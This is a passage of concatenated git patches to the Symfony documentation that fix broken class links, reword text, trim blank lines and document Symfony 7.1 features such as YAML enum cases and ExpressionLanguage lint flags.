+
+    $file = new \SplTempFileObject();
+    $file->fwrite('Hello World');
+    $file->rewind();
+
+    $response = new BinaryFileResponse($file);
+
+.. versionadded:: 7.1
+
+    The support for ``\SplTempFileObject`` in ``BinaryFileResponse``
+    was introduced in Symfony 7.1.
+
 If the size of the served file is unknown (e.g. because it's being generated on the fly,
 or because a PHP stream filter is registered on it, etc.), you can pass a ``Stream``
 instance to ``BinaryFileResponse``. This will disable ``Range`` and ``Content-Length``

From c4023a69ddfaeacb5f1a331806779a1a198598b7 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 6 Feb 2024 19:52:08 +0100
Subject: [PATCH 4430/5766] Fix broken class links

---
 controller/value_resolver.rst | 4 ++--
 mailer.rst                    | 2 +-
 workflow.rst                  | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 7509920bc04..094d8af4c35 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -222,8 +222,8 @@ In addition, some components, bridges and official bundles provide other value r
 
 PSR-7 Objects Resolver:
     Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
-    of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,
-    :class:`Psr\\Http\\Message\\RequestInterface` or :class:`Psr\\Http\\Message\\MessageInterface`.
+    of type ``Psr\Http\Message\ServerRequestInterface``,
+    ``Psr\Http\Message\RequestInterface`` or ``Psr\Http\Message\MessageInterface``.
     It requires installing :doc:`the PSR-7 Bridge </components/psr7>` component.
 
 Managing Value Resolvers
diff --git a/mailer.rst b/mailer.rst
index b9ffa16332d..53b9d88b6f1 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1474,7 +1474,7 @@ handler.
     ``$mailer->send($email)`` works as of Symfony 6.2.
 
 When sending an email asynchronously, its instance must be serializable.
-This is always the case for :class:`Symfony\\Bridge\\Twig\\Mime\\Email`
+This is always the case for :class:`Symfony\\Component\\Mailer\\Mailer`
 instances, but when sending a
 :class:`Symfony\\Bridge\\Twig\\Mime\\TemplatedEmail`, you must ensure that
 the ``context`` is serializable. If you have non-serializable variables,
diff --git a/workflow.rst b/workflow.rst
index 929a2aa9cbe..4dd3a3d618a 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -475,7 +475,7 @@ The context is accessible in all events except for the ``workflow.guard`` events
 .. deprecated:: 6.4
 
     Gathering events context is deprecated since Symfony 6.4 and the
-    :method:`Symfony\\Component\\Workflow\\Event::getContext` method will be
+    :method:`Symfony\\Component\\Workflow\\Event\\Event::getContext` method will be
     removed in Symfony 7.0.
 
 .. note::

From ba7d7b771d3662da6211740b1fc2694483d71eb9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 7 Feb 2024 09:36:59 +0100
Subject: [PATCH 4431/5766] add missing return statement

---
 components/var_dumper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index e7c10a3287f..bc14c970fa9 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -513,7 +513,7 @@ like this::
         $cloner = new VarCloner();
         $dumper = 'cli' === PHP_SAPI ? new CliDumper() : new HtmlDumper();
 
-        $dumper->dump($cloner->cloneVar($var));
+        return $dumper->dump($cloner->cloneVar($var));
     });
 
 Cloners

From 4085aeddc191f7823ae0dc093310028259e54a65 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 7 Feb 2024 13:26:03 +0100
Subject: [PATCH 4432/5766] [Serializer] Add Default and "class name" default
 groups

---
 serializer.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index e3480c0b035..701e5918848 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -383,6 +383,18 @@ stored in one of the following locations:
 * All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
   directory of a bundle.
 
+.. note::
+
+    By default, the ``Default`` group is used when normalizing and denormalizing
+    objects. A group corresponding to the class name is also used. For example,
+    if you are normalizing a ``App\Entity\Product`` object, the ``Product`` group
+    is also included by default.
+
+    .. versionadded:: 7.1
+
+        The default use of the class name and ``Default`` groups when normalizing
+        and denormalizing objects was introduced in Symfony 7.1.
+
 .. _serializer-enabling-metadata-cache:
 
 Using Nested Attributes

From 5d2b2a6fd738c48de9275535cf1522e972c5d5f4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 7 Feb 2024 13:32:43 +0100
Subject: [PATCH 4433/5766] [Yaml] Allow to get all the enum cases

---
 components/yaml.rst        | 20 ++++++++++++++++++++
 reference/formats/yaml.rst | 13 +++++++++++++
 2 files changed, 33 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index 627fc4479e0..5f724e0572c 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -355,6 +355,26 @@ and the special ``!php/enum`` syntax to parse them as proper PHP enums::
     // the value of the 'foo' key is a string because it missed the `!php/enum` syntax
     // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => 'foo'];
 
+You can also use ``!php/enum`` to get all the enumeration cases by only
+giving the enumeration FQCN::
+
+    enum FooEnum: string
+    {
+        case Foo = 'foo';
+        case Bar = 'bar';
+    }
+
+    // ...
+
+    $yaml = '{ bar: !php/enum FooEnum }';
+    $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
+    // $parameters = ['bar' => ['foo', 'bar']];
+
+.. versionadded:: 7.1
+
+    The support for using the enum FQCN without specifying a case
+    was introduced in Symfony 7.1.
+
 Parsing and Dumping of Binary Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 64adac599fb..6a61cafa74a 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -346,6 +346,19 @@ official YAML specification but are useful in Symfony applications:
           # ... or you can also use "->value" to directly use the value of a BackedEnum case
           operator_type: !php/enum App\Operator\Enum\Type::Or->value
 
+  This tag allows to omit the enum case and only provide the enum FQCN
+  to return an array of all available enum cases:
+
+  .. code-block:: yaml
+
+      data:
+          operator_types: !php/enum App\Operator\Enum\Type
+
+  .. versionadded:: 7.1
+
+    The support for using the enum FQCN without specifying a case
+    was introduced in Symfony 7.1.
+
 Unsupported YAML Features
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 42b51537caf123914b18e05b685a3fd0234735bf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 7 Feb 2024 13:53:32 +0100
Subject: [PATCH 4434/5766] [ExpressionLanguage] Mention parsing and linting

---
 components/expression_language.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index bf7b62f6f81..8a475e1f062 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -96,6 +96,26 @@ can chain multiple coalescing operators.
 
     The null-coalescing operator was introduced in Symfony 6.2.
 
+Parsing and Linting Expressions
+...............................
+
+The ExpressionLanguage component provides a way to parse and lint expressions.
+The :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse`
+method returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`
+instance that can be used to inspect and manipulate the expression. The
+:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::lint`, on the
+other hand, returns a boolean indicating if the expression is valid or not::
+
+    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
+
+    $expressionLanguage = new ExpressionLanguage();
+
+    var_dump($expressionLanguage->parse('1 + 2'));
+    // displays the AST nodes of the expression which can be
+    // inspected and manipulated
+
+    var_dump($expressionLanguage->lint('1 + 2')); // displays true
+
 Passing in Variables
 --------------------
 

From a3ba7fcc34f3cdcbc7880a99dc91b47a319661dd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 7 Feb 2024 14:01:49 +0100
Subject: [PATCH 4435/5766] [ExpressionLanguage] Add flags support in `parse()`
 and `lint()`

---
 components/expression_language.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index d335710923e..038251066e1 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -112,6 +112,30 @@ other hand, returns a boolean indicating if the expression is valid or not::
 
     var_dump($expressionLanguage->lint('1 + 2')); // displays true
 
+The call to these methods can be configured through flags. The available flags
+are available in the :class:`Symfony\\Component\\ExpressionLanguage\\Parser` class
+and are the following:
+
+* ``IGNORE_UNKNOWN_VARIABLES``: don't throw an exception if a variable is not
+  defined in the expression;
+* ``IGNORE_UNKNOWN_FUNCTIONS``: don't throw an exception if a function is not
+  defined in the expression.
+
+This is how you can use these flags::
+
+    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
+    use Symfony\Component\ExpressionLanguage\Parser;
+
+    $expressionLanguage = new ExpressionLanguage();
+
+    // this return true because the unknown variables and functions are ignored
+    var_dump($expressionLanguage->lint('unknown_var + unknown_function()', Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS));
+
+.. versionadded:: 7.1
+
+    The support for flags in the ``parse()`` and ``lint()`` methods
+    was introduced in Symfony 7.1.
+
 Passing in Variables
 --------------------
 

From aad9c9d6701c3393f84ac368fca2b747b14aff7b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 7 Feb 2024 15:06:49 +0100
Subject: [PATCH 4436/5766] [ExpressionLanguage] Remove superfluous line

---
 components/expression_language.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 8a475e1f062..b75c3d13c34 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -14,8 +14,6 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
-How can the Expression Engine Help Me?
-
 .. _how-can-the-expression-engine-help-me:
 
 How can the Expression Language Help Me?

From c0d24e1a235f2ca99b968340a9c74d3fc7772454 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Wed, 7 Feb 2024 06:34:01 -0500
Subject: [PATCH 4437/5766] remove $ so gitclip works

From github, leaving the $ in will be included when someone is using the "copy" function to the right of the bash/console statements.  The $ gets in the way.
---
 bundles/best_practices.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index a0915fbeaf4..2d666b02f31 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -292,7 +292,7 @@ following standardized instructions in your ``README.md`` file.
         Open a command console, enter your project directory and execute:
 
         ```console
-        $ composer require <package-name>
+        composer require <package-name>
         ```
 
         Applications that don't use Symfony Flex
@@ -304,7 +304,7 @@ following standardized instructions in your ``README.md`` file.
         following command to download the latest stable version of this bundle:
 
         ```console
-        $ composer require <package-name>
+        composer require <package-name>
         ```
 
         ### Step 2: Enable the Bundle
@@ -333,9 +333,9 @@ following standardized instructions in your ``README.md`` file.
 
         Open a command console, enter your project directory and execute:
 
-        .. code-block:: bash
-
-            $ composer require <package-name>
+        ```bash
+        composer require <package-name>
+        ```
 
         Applications that don't use Symfony Flex
         ----------------------------------------
@@ -346,9 +346,9 @@ following standardized instructions in your ``README.md`` file.
         Open a command console, enter your project directory and execute the
         following command to download the latest stable version of this bundle:
 
-        .. code-block:: terminal
-
-            $ composer require <package-name>
+       ```bash
+        composer require <package-name>
+        ```
 
         Step 2: Enable the Bundle
         ~~~~~~~~~~~~~~~~~~~~~~~~~

From c3edd6b74d6fed30e1b81a4226cc21a68f182e61 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Feb 2024 15:22:02 +0100
Subject: [PATCH 4438/5766] Restore some unneeded change

---
 bundles/best_practices.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 2d666b02f31..8e8feedb642 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -333,9 +333,9 @@ following standardized instructions in your ``README.md`` file.
 
         Open a command console, enter your project directory and execute:
 
-        ```bash
-        composer require <package-name>
-        ```
+        .. code-block:: terminal
+
+            composer require <package-name>
 
         Applications that don't use Symfony Flex
         ----------------------------------------

From add92fa186a6e9d824f28bd1110d19674e20ca8b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Feb 2024 15:52:31 +0100
Subject: [PATCH 4439/5766] Minor tweak

---
 components/expression_language.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index d43b9df0f6f..fa07903bbb7 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -110,9 +110,8 @@ other hand, returns a boolean indicating if the expression is valid or not::
 
     var_dump($expressionLanguage->lint('1 + 2')); // displays true
 
-The call to these methods can be configured through flags. The available flags
-are available in the :class:`Symfony\\Component\\ExpressionLanguage\\Parser` class
-and are the following:
+The behavior of these methods can be configured with some flags defined in the
+:class:`Symfony\\Component\\ExpressionLanguage\\Parser` class:
 
 * ``IGNORE_UNKNOWN_VARIABLES``: don't throw an exception if a variable is not
   defined in the expression;
@@ -126,7 +125,7 @@ This is how you can use these flags::
 
     $expressionLanguage = new ExpressionLanguage();
 
-    // this return true because the unknown variables and functions are ignored
+    // this returns true because the unknown variables and functions are ignored
     var_dump($expressionLanguage->lint('unknown_var + unknown_function()', Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS));
 
 .. versionadded:: 7.1

From 28254a6b33eaa2cee81eb5e46cb68d2a05a4f7d4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Feb 2024 16:41:34 +0100
Subject: [PATCH 4440/5766] Minor reword

---
 serializer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 701e5918848..6f75d65afc4 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -385,10 +385,10 @@ stored in one of the following locations:
 
 .. note::
 
-    By default, the ``Default`` group is used when normalizing and denormalizing
-    objects. A group corresponding to the class name is also used. For example,
-    if you are normalizing a ``App\Entity\Product`` object, the ``Product`` group
-    is also included by default.
+    The groups used by default when normalizing and denormalizing objects are
+    ``Default`` and the group that matches the class name. For example, if you
+    are normalizing a ``App\Entity\Product`` object, the groups used are
+    ``Default`` and ``Product``.
 
     .. versionadded:: 7.1
 

From 56c8b4d41f09af3d32730bdbda4ac0f2944e860a Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Thu, 8 Feb 2024 10:14:03 +0100
Subject: [PATCH 4441/5766] [Serializer] Fix recursive custom normalizer

---
 serializer/custom_normalizer.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 447076fff46..636ba70fd37 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -12,8 +12,8 @@ Creating a New Normalizer
 Imagine you want add, modify, or remove some properties during the serialization
 process. For that you'll have to create your own normalizer. But it's usually
 preferable to let Symfony normalize the object, then hook into the normalization
-to customize the normalized data. To do that, leverage the
-``NormalizerAwareInterface`` and the ``NormalizerAwareTrait``. This will give
+to customize the normalized data. To do that, you can inject a
+``NormalizerInterface`` and wire it to Symfony's object normalizer. This will give
 you access to a ``$normalizer`` property which takes care of most of the
 normalization process::
 
@@ -21,16 +21,16 @@ normalization process::
     namespace App\Serializer;
 
     use App\Entity\Topic;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
-    use Symfony\Component\Serializer\Normalizer\NormalizerAwareInterface;
-    use Symfony\Component\Serializer\Normalizer\NormalizerAwareTrait;
     use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
 
-    class TopicNormalizer implements NormalizerInterface, NormalizerAwareInterface
+    class TopicNormalizer implements NormalizerInterface
     {
-        use NormalizerAwareTrait;
-
         public function __construct(
+            #[Autowire(service: 'serializer.normalizer.object')]
+            private readonly NormalizerInterface $normalizer,
+
             private UrlGeneratorInterface $router,
         ) {
         }

From ef3563657cf5fd5b499f73604a5de5da22d2349f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20M=C3=B6nch?= <simonmoench@googlemail.com>
Date: Thu, 8 Feb 2024 12:08:54 +0100
Subject: [PATCH 4442/5766] Fix translator cache_dir default value reference

According to https://github.com/symfony/symfony/blob/5.4/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/Configuration.php#L831 is the default value without a `/` at the end.
---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index bbbbe41c419..7ffb0826ae8 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2508,7 +2508,7 @@ translator
 cache_dir
 .........
 
-**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/translations/``
+**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/translations``
 
 Defines the directory where the translation cache is stored. Use ``null`` to
 disable this cache.

From 035a424bf4a18e1182e1f6386cd91284a5a78674 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 24 Jan 2024 16:06:33 +0100
Subject: [PATCH 4443/5766] [AssetMapper] Deleting duplicated sentence

---
 frontend/asset_mapper.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 803d7dbace6..28227d8606c 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -413,10 +413,8 @@ the page as ``link`` tags in the order they were imported.
 .. note::
 
     Importing a CSS file is *not* something that is natively supported by
-    JavaScript modules and normally causes an error. AssetMapper makes this
-    work by adding an importmap entry for each CSS file that is valid, but
-    does nothing. AssetMapper adds a ``link`` tag for each CSS file, but when
-    the JavaScript executes the ``import`` statement, nothing additional happens.
+    JavaScript modules. AssetMapper makes this work by adding an importmap entry for each CSS file,
+    and then adds a ``link`` tag for each CSS file.
 
 .. _asset-mapper-3rd-party-css:
 

From 35a7d28b95b25eac989154987212347376d51334 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Feb 2024 17:40:55 +0100
Subject: [PATCH 4444/5766] Reword

---
 frontend/asset_mapper.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 43200b63128..345973332a0 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -420,8 +420,10 @@ the page as ``link`` tags in the order they were imported.
 .. note::
 
     Importing a CSS file is *not* something that is natively supported by
-    JavaScript modules. AssetMapper makes this work by adding an importmap entry for each CSS file,
-    and then adds a ``link`` tag for each CSS file.
+    JavaScript modules. AssetMapper makes this work by adding a special importmap
+    entry for each CSS file. These special entries are valid valid, but do nothing.
+    AssetMapper adds a ``<link>`` tag for each CSS file, but when the JavaScript
+    executes the ``import`` statement, nothing additional happens.
 
 .. _asset-mapper-3rd-party-css:
 

From ebd373cafcd0cfe49cc8bbde7ba64b567722e4ac Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 8 Feb 2024 17:54:25 +0100
Subject: [PATCH 4445/5766] Fix broken class links

---
 bundles/prepend_extension.rst                      | 4 ++--
 service_container/service_subscribers_locators.rst | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 4bd1c7c6a67..613cda7489f 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -187,7 +187,7 @@ method::
     The ``prependExtension()`` method, like ``prepend()``, is called only at compile time.
 
 Alternatively, you can use the ``prepend`` parameter of the
-:method:`Symfony\\Component\\DependencyInjection\\Loader\\ContainerConfigurator::extension`
+:method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension`
 method::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
@@ -211,7 +211,7 @@ method::
 .. versionadded:: 7.1
 
     The ``prepend`` parameter of the
-    :method:`Symfony\\Component\\DependencyInjection\\Loader\\ContainerConfigurator::extension`
+    :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension`
     method was added in Symfony 7.1.
 
 More than one Bundle using PrependExtensionInterface
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 31a9fa55f3b..21a7ab295d2 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -123,7 +123,7 @@ In this example, the ``$handler`` service is only instantiated when the
 
 You can also type-hint the service locator argument with
 :class:`Symfony\\Contracts\\Service\\ServiceCollectionInterface` instead of
-:class:`Psr\\Container\\ContainerInterface`. By doing so, you'll be able to
+``Psr\Container\ContainerInterface``. By doing so, you'll be able to
 count and iterate over the services of the locator::
 
     // ...

From 3e2ad1796f6c39a90e82008d9c07f53e2173a0f0 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 8 Feb 2024 18:30:05 +0100
Subject: [PATCH 4446/5766] [Asset] Replace RemoteJsonManifestVersionStrategy
 by JsonManifestVersionStrategy

---
 components/asset.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 5fa966bb85b..5fd760272ff 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -180,16 +180,16 @@ listed in the manifest::
     // error:
 
 If your JSON file is not on your local filesystem but is accessible over HTTP,
-use the :class:`Symfony\\Component\\Asset\\VersionStrategy\\RemoteJsonManifestVersionStrategy`
+use the :class:`Symfony\\Component\\Asset\\VersionStrategy\\JsonManifestVersionStrategy`
 with the :doc:`HttpClient component </http_client>`::
 
     use Symfony\Component\Asset\Package;
-    use Symfony\Component\Asset\VersionStrategy\RemoteJsonManifestVersionStrategy;
+    use Symfony\Component\Asset\VersionStrategy\JsonManifestVersionStrategy;
     use Symfony\Component\HttpClient\HttpClient;
 
     $httpClient = HttpClient::create();
     $manifestUrl = 'https://cdn.example.com/rev-manifest.json';
-    $package = new Package(new RemoteJsonManifestVersionStrategy($manifestUrl, $httpClient));
+    $package = new Package(new JsonManifestVersionStrategy($manifestUrl, $httpClient));
 
 Custom Version Strategies
 .........................

From 6629fcf67c9ab7ded41e2c9f2a6f6415e4fc866d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 8 Feb 2024 18:47:58 +0100
Subject: [PATCH 4447/5766] Minor: remove duplicated lines

---
 cache.rst                                                 | 1 -
 components/cache.rst                                      | 1 -
 components/cache/adapters/couchbasebucket_adapter.rst     | 2 --
 components/cache/adapters/couchbasecollection_adapter.rst | 2 --
 components/cache/adapters/filesystem_adapter.rst          | 1 -
 components/cache/cache_pools.rst                          | 1 -
 components/event_dispatcher/generic_event.rst             | 1 -
 components/http_kernel.rst                                | 1 -
 components/process.rst                                    | 1 -
 components/property_access.rst                            | 1 -
 configuration.rst                                         | 1 -
 configuration/override_dir_structure.rst                  | 1 -
 configuration/secrets.rst                                 | 1 -
 console.rst                                               | 1 -
 contributing/community/review-comments.rst                | 1 -
 contributing/documentation/standards.rst                  | 1 -
 doctrine/associations.rst                                 | 1 -
 form/create_custom_field_type.rst                         | 1 -
 form/form_collections.rst                                 | 1 -
 frontend/custom_version_strategy.rst                      | 1 -
 frontend/encore/dev-server.rst                            | 1 -
 frontend/encore/reactjs.rst                               | 3 +--
 frontend/encore/split-chunks.rst                          | 1 -
 mailer.rst                                                | 2 --
 mercure.rst                                               | 2 --
 messenger.rst                                             | 2 --
 profiler.rst                                              | 1 -
 reference/configuration/framework.rst                     | 1 -
 reference/configuration/security.rst                      | 1 -
 reference/constraints/Country.rst                         | 1 -
 reference/constraints/Email.rst                           | 1 -
 reference/constraints/EqualTo.rst                         | 1 -
 reference/constraints/Length.rst                          | 1 -
 reference/constraints/Positive.rst                        | 1 -
 reference/constraints/Ulid.rst                            | 1 -
 reference/formats/message_format.rst                      | 1 -
 routing.rst                                               | 1 -
 security/custom_authenticator.rst                         | 1 -
 security/entry_point.rst                                  | 1 -
 security/ldap.rst                                         | 2 --
 security/remember_me.rst                                  | 1 -
 serializer/custom_encoders.rst                            | 1 -
 serializer/custom_normalizer.rst                          | 1 -
 service_container.rst                                     | 2 --
 service_container/autowiring.rst                          | 3 ---
 service_container/factories.rst                           | 1 -
 service_container/lazy_services.rst                       | 1 -
 service_container/service_decoration.rst                  | 1 -
 service_container/synthetic_services.rst                  | 1 -
 service_container/tags.rst                                | 2 --
 session.rst                                               | 1 -
 setup/flex_private_recipes.rst                            | 2 --
 setup/unstable_versions.rst                               | 1 -
 setup/web_server_configuration.rst                        | 1 -
 validation/custom_constraint.rst                          | 1 -
 55 files changed, 1 insertion(+), 67 deletions(-)

diff --git a/cache.rst b/cache.rst
index 0e449f2bb0d..43d417c1738 100644
--- a/cache.rst
+++ b/cache.rst
@@ -481,7 +481,6 @@ and use that when configuring the pool.
                     ->adapters(['cache.adapter.redis'])
                     ->provider('app.my_custom_redis_provider');
 
-
             $container->register('app.my_custom_redis_provider', \Redis::class)
                 ->setFactory([RedisAdapter::class, 'createConnection'])
                 ->addArgument('redis://localhost')
diff --git a/components/cache.rst b/components/cache.rst
index daef6d4f5a6..857282eb1d0 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -141,7 +141,6 @@ The following cache adapters are available:
 
     cache/adapters/*
 
-
 .. _cache-component-psr6-caching:
 
 Generic Caching (PSR-6)
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 5312371a2bb..172a8fe0f19 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -39,7 +39,6 @@ the second and third parameters::
         $defaultLifetime
     );
 
-
 Configure the Connection
 ------------------------
 
@@ -71,7 +70,6 @@ helper method allows creating and configuring a `Couchbase Bucket`_ class instan
         'couchbase:?host[localhost]&host[localhost:12345]'
     );
 
-
 Configure the Options
 ---------------------
 
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 66586c816ee..296b7065f1d 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -36,7 +36,6 @@ the second and third parameters::
         $defaultLifetime
     );
 
-
 Configure the Connection
 ------------------------
 
@@ -68,7 +67,6 @@ helper method allows creating and configuring a `Couchbase Collection`_ class in
         'couchbase:?host[localhost]&host[localhost:12345]'
     );
 
-
 Configure the Options
 ---------------------
 
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 4c447b3de82..26ef48af27c 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -63,6 +63,5 @@ adapter offers better read performance when using tag-based invalidation::
 
     $cache = new FilesystemTagAwareAdapter();
 
-
 .. _`tmpfs`: https://wiki.archlinux.org/index.php/tmpfs
 .. _`RAM disk solutions`: https://en.wikipedia.org/wiki/List_of_RAM_drive_software
diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst
index c92a22a136b..3a0897defcf 100644
--- a/components/cache/cache_pools.rst
+++ b/components/cache/cache_pools.rst
@@ -25,7 +25,6 @@ ready to use in your applications.
 
     adapters/*
 
-
 Using the Cache Contracts
 -------------------------
 
diff --git a/components/event_dispatcher/generic_event.rst b/components/event_dispatcher/generic_event.rst
index dbc37cbe752..8fba7c41940 100644
--- a/components/event_dispatcher/generic_event.rst
+++ b/components/event_dispatcher/generic_event.rst
@@ -99,4 +99,3 @@ Filtering data::
             $event['data'] = strtolower($event['data']);
         }
     }
-
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index abfd5b16163..17ea754b70c 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -26,7 +26,6 @@ The Workflow of a Request
     :doc:`/event_dispatcher` articles to learn about how to use it to create
     controllers and define events in Symfony applications.
 
-
 Every HTTP web interaction begins with a request and ends with a response.
 Your job as a developer is to create PHP code that reads the request information
 (e.g. the URL) and creates and returns a response (e.g. an HTML page or JSON string).
diff --git a/components/process.rst b/components/process.rst
index d11618cb119..c3a289645e9 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -10,7 +10,6 @@ Installation
 
     $ composer require symfony/process
 
-
 .. include:: /components/require_autoload.rst.inc
 
 Usage
diff --git a/components/property_access.rst b/components/property_access.rst
index f19aff6111b..e2e6cb95796 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -186,7 +186,6 @@ method::
     // instead of throwing an exception the following code returns null
     $value = $propertyAccessor->getValue($person, 'birthday');
 
-
